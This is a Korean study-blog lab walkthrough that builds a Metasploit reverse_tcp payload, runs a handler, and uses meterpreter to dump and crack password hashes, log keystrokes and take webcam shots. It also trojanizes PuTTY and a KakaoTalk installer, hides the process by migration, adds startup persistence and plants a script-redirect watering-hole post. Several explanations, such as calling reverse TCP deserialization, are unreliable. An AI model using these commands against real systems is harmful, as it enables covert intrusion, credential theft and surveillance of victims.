Web Security DAY_011 msfvenom , Metasploit , 메타스플로이트 ,페이로드 ,DLL Injection , reverse tcp , virustotal ,msfconsole ,putty를 이용한 해킹 프로그램 , watering hole ,워터링홀 ,리버스 TCP ,DLL 인젝션 ,웹 해킹

2024. 2. 4. 16:05Information Security 정보보안/Web Security 웹 보안

728x90

배울내용:

msfvenom

Metasploit

메타스플로이트

페이로드 

DLL Injection 

reverse tcp

virustotal

msfconsole

Putty를 이용한 해킹 프로그램 

watering hole

워터링홀

리버스 TCP 

DLL 인젝션

웹 해킹

 

 

 

 

 

 

 

 

 

 

 

 

 

msfvenom

 

 

 

 

msfvenom 란? 

 

 

msfvenom은 Kali Linux에 포함된 Metasploit 프레임워크의 하나로,

악의적인 목적으로 사용되는 페이로드(payload)를 생성하는 도구입니다.

 

페이로드란? 

      실제 프로그램 code( 여러기능을 담고있는 라이브러리)

       ex)    (라이브러리설명 :   라이브러리 엔 printf() ,scanf() 라는함수 (기능) 를 들고있는것) 

     

      code에서는 빌드한다고 하면 프로그램이 exe 파일이라고 하면 

      kernel32.dll , avdapi.dll, user32.dll 이외에 많은 것들을 

      Dynamic Link Library

 

DLL 이란?

      ex )    (DLL 설명 : 외국인을 만날때 한국어 쓸수없으니 그 소통을하기위해 언어 뿐아니라 그나라의 문화나 말투가 담겨있는 Library 라고 보면 된다 ) 안에 있는데 페이로드 또한 들어가있는데 exe 파일을 호출되면서 페이로드가 끼어들어가면서 실행되는것이기 때문에 

 

     이 페이로드는  dll 인젝션을 만들어내는 프로그램으로 불린다.

 

  

Metasploit 란?

Metasploit은 보안 전문가 및 해커들이 시스템 및 네트워크 취약성을 테스트하고 공격하는 데

사용되는 강력한 오픈 소스 보안 프레임워크입니다.

 

msfvenom은 Metasploit의 페이로드 생성 도구 중 하나이며 

실제로는 metasploit 는 dll 인젝션을 만들어내는 프로그램이다 

 

추가적으로 다른방법으로 아래의 링크에서도 볼수있다

 

 

https://sarimus.tistory.com/37

 

System Security DAY_018 CVE , OSVDB , vsftpd_234 Backdoor , distcc_exec , Java RMI , php_cgi_arg_injection , unreal_ircd_3281_

배울내용 : CVE OSVDB vsftpd_234 Backdoor distcc_exec Java RMI php_cgi_arg_injection unreal_ircd_3281_backdoor meterpreter 공격 Metaploit 시스템 보안 시스템 해킹 제가 지금 부터 작성하는 모든글은 제가 공부기록용이기 때

sarimus.tistory.com

 

 

 

 

 

 

 

 

 

 

이번시간엔 reverse_tcp (역직렬화 TCP)

를 실습해볼것이다 

 

 

 

reverse_tcp 

 

 

reverse_tcp 란?

 

이름에서 알 수 있듯이, "역방향(TCP)" 통신을 의미합니다.

여기서 "역방향"은 일반적인 통신 방식과는 반대로,

피해자(타겟 시스템)가 공격자(Metasploit 리스너)에게 연결을 시도하는 것을 의미합니다.

 

 

여러 단계로 이 과정을 설명하면 다음과 같습니다:

  1. 공격자는 Metasploit을 사용하여 특정 페이로드를 생성합니다.
  2. 페이로드는 타겟 시스템에서 실행되면서 Metasploit 리스너의 IP 주소 및 포트로 연결을 시도합니다.
  3. Metasploit 리스너는 해당 연결을 수락하고, 공격자와 타겟 시스템 간에 역방향 TCP 통신이 설정됩니다.
  4. 이제 공격자는 Metasploit 쉘을 통해 타겟 시스템을 제어하거나 다양한 작업을 수행할 수 있습니다.

이러한 방식은 방화벽과 같은 보안 장치를 우회하거나,

타겟 시스템에서 외부로의 연결을 제한하는 환경에서도 사용될 수 있습니다.

 

 

 

 

좀더 쉽게 비유해서 설명하면 

원격접속 해서 남이 내컴퓨터의 마우스를 움직이게 하는 것이 역직렬화 이라고 보면된다 

 

 

 

 

 

실습

 

 

 

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.10 lport=4444 -f exe -o sarimus.exe

위를 입력해준다 

 

 

이를 해석하면 

  • -p windows/x64/meterpreter/reverse_tcp: 생성할 페이로드의 종류를 역방향 TCP 페이로드를 생성
  • lhost=192.168.10.10: 공격자(Metasploit 리스너)의 IP 주소를 192.168.10.10으로 설정
  • lport=4444: 공격자가 수신 대기할 포트번호로  4444로 설정
  • -f exe: 생성할 파일을 실행 파일(exe) 형식으로 설정
  • -o sarimus.exe: 생성된 페이로드를 저장할 파일의 이름을 sarimus.exe로 설정

 

 

 

 

 

sarimus.exe 가 제대로 저장된걸 볼수있고이젠

python3 -m http.server 80 

을 해준다

 

그리고 window에서 192.168.10.10 (서버IP) 를 입력하면 

 

 

 

이렇게 Directory indexes 가 되는걸 볼수있다 

여기에서 

 

 

 

1

 

sarimus.exe 를 다운받아준다  (이때 보안 꺼줘야함  ( 알약이나 , 실시간보안 , 윈도우에 설정-> 개인정보 보호 및 보안 에서 향상된보안에서 보호하지않음으로 바꿔줘야함) 

 

 

 

 

 

 

 

그러면 이렇게 sarimus.exe 실행파일이 다운로드가 된것을 볼수가있다 

 

 

 

이파일을 virtustotal 에서 확인해보면 

https://www.virustotal.com/gui/home/upload

 

VirusTotal

Analyse suspicious files and URLs to detect types of malware, automatically share them with the security community

www.virustotal.com

 

 

 

 

이곳에 sarimus.exe 를 업로드 시켜주고 confirm upload 해주면 

 

 

 

 

 

 

세계 다양한 백신회사들 각각에서 어떤걸 탐지 했는지를 볼수있다 

다음에 악성프로그램인지 모를때는 virustotal을 잘이용해보도록 하자 

 

 

 

 

 

 

 

 

msfconsole 

 

 

다시 Kali 로 돌아와서 

 

msfconsole 을 입력해보자 

 

 

 

 

이렇게 어떤 랜덤한 그림을 매번 나오게 해준다 

이번엔 귀여운 토끼가 나왔다

 

help 를 입력 하면 여러 쓸수있는 기능들이 잘 설명되어 나와있다 

 

 

 

 

 

use exploit/multi/handler 를 입력한다음에 options 를 해보면 

 

 

 

 

Payload 와 LHost 가 입력이 필요한걸 알수있다 

 

 

 

 

 

그래서 

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.10.10

set lport 4444

를해주고 options 를 입력하면 

 

 

 

잘들어가있는걸 볼수있다 

 

 

그리고 exploit 

 

 

 

 

이후로 아까 다운로드했던 sarimus.exe 를 클릭해주자 

 

 

그러면 Kali 에 exploit 이후에 

 

meterpreter > 이런식으로 프롬프트가 바뀐걸 볼수있다 

여기에서 sysinfo 해보면

 

 

 

이것도 되고 그외에 dir 도 

 

 

사용 가능하다 즉, window 안에있는 모든것을 볼수가있다 

 

 

 

 

run post/windows/gather/hashdump 

를 입력하면 사용자의 아이디와 비번도 나오게 할수있다 

그러나 시스템 권한이 유저라서 안되는데 

 

권한을 getsystem 이라고 한뒤에 권한을 받고 다시 run post/windows/gather/hashdump   해보면

 

여러 사용자의 해쉬값이 나오는걸 볼수있다 

이 값을 복사해서 따로 파일에 저장해주고

john --format=NT test 하면 

test 의 비밀번호가 바로나오는걸 볼수있다 

 

 

그러나 필자는 window 11 로 window 10에서는 잘작동하는데 11에서는 작동이 안된다 

 

 

다시돌아와서

screenshot 입력하면 

 

 

 

window에서 사용하는지도 모르게 kali 에서 사진을 찍어가고

window에 현재  screen 이 찍힌다 

 

 

아래는 쓸수있는 기능들이다 

 

 


run winenum
run getcountermeasure 
-> firewall 를 다 꺼버림 (100% 성공은 아님)

keyscan_start
하면 notepad 에 글쓰고 , 
keyscandump
하면 비밀번호쓴 거 다나옴(키로거처럼) 
keyscan_stop


screenshot
현재window 사진보여줌 


webcam_snap 
캡으로해서 사진찍음 ( 실제 노트북 사진) 


webcam_list (웹캠 리스트 출력) 
webcam_stream 
이러면 노트북스트리밍 나옴 ( 동영상 기능이 꺼저있어야지됨) 

screenshare
실시간으로 화면이 공유되어서 나옴 

 

 

 

 

 

 

 

 

 

 

 

 

Putty를 이용한 해킹 프로그램 

 

 

이제 다시 칼리로 돌아와 

새로운운 kali 프롬프트 창을 만들어

mkdir /hack

cp -a sarimus.exe /hack

cd /hack

 

한뒤에 ls 하면 sarimus.exe 가 있는걸 볼수있다 

 

 

 

 

 

 

 

그뒤에 window 에 깔려있는 putty.exe 파일을 복사해서 putty2.exe 로 만들어주고 

이 putty2.exe 를 Ctrl + C 한뒤에  

Kali에 아까 sarimus.exe 가 있는 파일 위치 /hack 폴더를 연뒤에 Ctrl + V 해준다 

 

 

 

 

그러면 이렇게 붙여진걸 볼수있다 

그리고 Kali에서 이렇게 명령어를 해준뒤 

msfvenom -a x64 --platform windows -x /hack/putty2.exe -k -p windows/x64/meterpreter/reverse_tcp lhost=192.168.10.10 lport=4444 -f exe -o puttyX.exe

 

 

 

 

이 puttyX.exe 가 만들어진거를 window에서 Kali로 옮겼던 방식으로 Kali 에서 window 로 옮겨준다 

 

 

 

 

 

그리고 kali 에서 다시 exploit/multi/handler/ 상태에서  exploit 해주면 

 

 

 

 

window 에서는 putty 만 켯을뿐인데 kali 에서는 window로 연결을 해버렸다 

 

 

 

 

이렇게 putty 가 연결되있는걸 process monitor 로도 확인할수있는데 

 

 

이걸 열어서 자세히 보면

 

 

다른 파일들은 dll 인 방면에 puttyX 만  .exe 인걸 볼수있다 

puttyX payload 를 붙였다고 하면 위에서 dll injection이 어느정도 이해가 될것이다 

 

그런데 여기서 끝난게 아니라 puttyX.exe 를 못찾게  migrate 를 이용해서 notepad 의 PID 를 이용해 notepad 처럼 위장거나  다른걸로 숨기는것 또한 가능하다 

 

작업관리자에서 PID 확인후 
migrate 5056(메모장) 
아까 puttyX 의 pid를 메모장으로 위장해서 숨음 
(이걸없애면 끊김 그러나 찾기힘듦) 

그래서 이런걸 찾기가 더욱 힘들게 되는것이다 

 

 

 

 

다시돌아와서 

그전에 puttyX.exe 를 클릭한뒤에

 

 

excute -f cmd.exe

이렇게 입력하면 

window 쪽에서 

 

 

이렇게 프로그램이 실행이 된것도 볼수있다 

 

아니면 puttyX.exe 를 cmd 에서 shell:startup 에서 시작프로그램에 넣어주면 

 

kali 에서는 exploit 만 하고있으면  window 쪽에서 putty를 실행하며 자동으로

 

연결이 가능하게 할수있다 

(재부팅시 기본적으로 자동으로 켜지는 그런 기능 이라 생각하면됨) 

 

위에 방법은 쉬운방법이고 

보통은 레지스트리에서 자동으로 실행하게 할수 있다고한다 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dll Injection

 

 

이번에는 아까 다운로드 했던 sarimus.exe 로 

이미지를 만들고 Dll Injection 할수있는 프로그램을 하나 만들 것이다 

 

다른것에 비해 이것은 악성프로그램으로 인식을 안한다 

 

 

이번엔 PowerMerger, resourceHacker  와 kakaoTalk 설치 파일을 다운로드 해준다

 

준비: 

sarimus.exe

kakao 설치 실행파일

PowerMerger

resourceHacker

 

 

 

 

 

 

 

Icon 은 일단 아무거나 클릭하고 

1st 에는 kakao 설치파일 클릭하고

2nd 에는 sarimus.exe 클릭한뒤에 

Merge 누르면 

 

 

 

 

이렇게 만들어지는걸 볼수있는데 

 

 

이젠 Resource Hacker 로 가서

 

 

 

 

아까 카카오 설치 파일과 sarimus.exe 를 merge 한 파일을 올린뒤에 Icon 에 보면 이미지가 틀린데

이거 오른쪽 마우스 클릭하여 replace 로 바꿔주면 바꿔진다 

 

 

 

 

그리고 저장 

 

 

 

 

그리고 sarimus 만 없애주고 바탕화면에 옮겨주면 진짜 설치파일처럼 보인다 

그리고 이걸 실행해주면 

 

 

 

window에서는 그냥 설치파일인지 알겟지만 알고보면 

이렇게 reverse_tcp 에 당할수가있다 

 

 

그렇기때문에 뭐든 다운받기전에 정식홈페이지 인지 확인하고

 

virtustotal같은걸 이용해 바이러스가 들었는지 확인하는게 좋다 

 

 

 

워터링 홀(Watering Hole) 공격

 

 

그리고 

cd /hack 으로가서 
아까 다운받은 kakao 만들걸 넣어줌 

python3 -m http.server 80

해주면 web 서버가 나옴 
192.168.10.100 들어감 (NAT)

여기서 로그인하고


게시판에다가 

 

   글제목 : 카카오톡 설치파일 첨부


   글내용 : <script> location.href="http://192.168.10.10/KakaoTalk_Setup.exe"</script>


이렇게 저장한뒤에 클릭하면

만약 누군가 카카오톡 설치파일인지 알고 클릭하면 공격을 당하게 되는 것이다 

 

 

 

 

 

 

 

이런 공격을 당하는 예시로 공항의 휴대폰 충전기 같은걸 꼽아도

 

위와 같은 방식으로 다운될수도있으니

 

가급적이면 공항에서나 무료로 되어있는 휴대폰 충전기는 쓰지말자 

 

 

 

 

 

 

 

 

생각외로 우리주변에는 다양한 방법으로 

 

공격이 이루어 질뿐 우리가 인식하지 못할뿐이다 

 

앞으로 이글을 읽으면서 어떤방면에서 공격이 들어올지 아니 주의하기 바란다

 

그럼 20000~

 

 

 

 

 

 

 

 

 

728x90